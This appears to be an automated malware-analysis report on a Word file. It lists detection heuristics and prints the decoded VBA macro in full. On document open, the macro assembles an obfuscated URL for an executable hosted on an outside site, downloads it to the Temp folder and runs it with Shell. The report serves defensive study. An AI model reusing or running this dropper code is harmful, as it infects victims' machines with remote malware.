MALICIOUS
298
Risk Score
Heuristics 9
-
ClamAV: Doc.Downloader.Generic-6754310-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6754310-0
-
Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOADReference to URLDownloadToFile API
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell HAOGODOF, vbNormalFocus -
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal SQTFZYUP As Long, ByVal ORLVJWKF As String, _ -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
HAOGODOF = Environ("Temp") & "\" & "pyn_sun" -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3981 bytes |
SHA-256: c8914618e61fd809bf84cbe50e06c9275fc514c524a3a68a8a08ee0ebfaba1c8 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If Win64 Then
Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal SQTFZYUP As Long, ByVal ORLVJWKF As String, _
ByVal ZYSLLXRJ As String, _
ByVal WTNWRNJB As Long, ByVal GGNXJIGC As Long)
#Else
Private Declare Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal SQTFZYUP As Long, ByVal ORLVJWKF As String, _
ByVal ZYSLLXRJ As String, _
ByVal WTNWRNJB As Long, ByVal GGNXJIGC As Long)
#End If
Sub AutoNew()
Dim SettingsFile As String
Dim Order As String
Dim rRecNo As Range
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
If Order = "" Then
Order = 1
End If
End Sub
Sub Document_Open()
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
Dim sdfsd As String
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
sdfsd = 15
IOESNGYH
End Sub
Sub IOESNGYH()
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
Dim Order As String
Dim rRecNo As Range
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
If Order = "" Then
Order = 1
End If
WWWPQFPN = "www.ebatechcorp.com/wp-includes/SimplePie/Net/pym_sun"
HAOGODOF = Environ("Temp") & "\" & "pyn_sun"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
If Order = "" Then
Order = 1
End If
WWWPQFPN0 = "h"
WWWPQFPN0 = WWWPQFPN0 + "t"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
WWWPQFPN0 = WWWPQFPN0 + "t"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
WWWPQFPN0 = WWWPQFPN0 + "p"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
WWWPQFPN0 = WWWPQFPN0 + ":"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
WWWPQFPN0 = WWWPQFPN0 + "/"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
WWWPQFPN0 = WWWPQFPN0 + "/"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
WWWPQFPN0 = WWWPQFPN0 + WWWPQFPN
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
WWWPQFPN0 = WWWPQFPN0 + "."
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
WWWPQFPN0 = WWWPQFPN0 + "e"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
WWWPQFPN0 = WWWPQFPN0 + "x"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
WWWPQFPN0 = WWWPQFPN0 + "e"
AutoNew
HAOGODOF = HAOGODOF + "."
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
HAOGODOF = HAOGODOF + "e"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
HAOGODOF = HAOGODOF + "x"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
HAOGODOF = HAOGODOF + "e"
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
AutoNew
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
URLDownloadToFileA 0, WWWPQFPN0, _
HAOGODOF, 0, 0
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
AutoNew
If Len(Dir(HAOGODOF)) > 0 Then
AutoNew
Shell HAOGODOF, vbNormalFocus
SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
End If
End Sub
Attribute VB_Name = "NewMacros"
Sub pymsen()
'
' pymsen Macro
'
'
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.